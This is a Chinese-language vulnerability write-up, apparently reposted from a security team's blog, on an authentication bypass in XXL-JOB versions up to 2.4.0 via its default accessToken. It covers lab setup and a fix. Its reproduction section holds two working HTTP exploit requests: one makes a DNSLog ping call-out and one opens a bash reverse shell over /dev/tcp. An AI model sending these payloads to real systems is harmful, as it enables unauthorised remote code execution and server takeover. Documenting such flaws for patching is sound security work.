前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXL-JOB默认accessToken身份认证绕过RCE

XXL-JOB默认accessToken身份认证绕过RCE

作者头像
Timeline Sec
发布2024-07-15 12:29:08
1020
发布2024-07-15 12:29:08
举报
文章被收录于专栏:Timeline Sec

0x01 简介

XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

0x02 漏洞概述

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

0x03 影响版本

XXL-JOB <= 2.4.0

0x04 环境搭建

Docker方式构建

1.拉取镜像

docker pull xuxueli/xxl-job-admin:2.4.0

2.创建数据库

docker pull mysql

docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:13306 mysql

3.用navicat连接数据库并运行xxl-job.sql文件

xxl-job.sql下载地址:https://github.com/xuxueli/xxl-job/tree/master/doc/db

打开navicat连接数据库,新建一个名称叫xxl-job名称的数据库,进入该xxl-job名称数据库,并执行xxl-job.sql文件

4.创建xxl-job容器并启动

代码语言:javascript
复制
docker run --privileged=true -e PARAMS="--spring.datasource.username=root --spring.datasource.password=123456 --spring.datasource.url=jdbc:mysql://yourip:13306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /home/xxl-job/logs:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:2.4.0

访问http://yourip:8080/xxl-job-admin/toLogin

执行器搭建

1.下载Source并编译成jar包

https://github.com/xuxueli/xxl-job

使用idea或maven编译

2.下载application.properties并根据实际情况修改

wget https://github.com/xuxueli/xxl-job/raw/2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

3.运行

nohup java -jar ./xxl-job-executor-sample-springboot.jar --spring.config.location=./application.properties &

4.验证

执行器中管理中对应节点已经自动注册

0x05 漏洞复现

POC:

代码语言:javascript
复制
POST /run HTTP/1.1
Host: 
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 326
 
{
"jobId":1,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"COVER_EARLY",
"executorTimeout":0,
"logId":1,
"logDateTime":1710864010,
"glueType":"GLUE_SHELL",
"glueSource":"ping xxxx.dnslog.cn",
"glueUpdatetime":1710864010,
"broadcastIndex":0,
"broadcastTotal":0
}

DNSLog

Getshell

POC:

代码语言:javascript
复制
POST /run HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: 
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Content-Length: 375


{
"jobId": 2,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586373637819,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/ip/4444 0>&1",
"glueUpdatetime": 1586693836766,
"broadcastIndex": 0,
"broadcastTotal": 0
}

0x06 修复方式

修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值。

参考链接

https://github.com/xuxueli/xxl-job https://www.xuxueli.com/xxl-job/#5.10%20%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%EF%BC%88AccessToken%EF%BC%89

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 参考链接
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档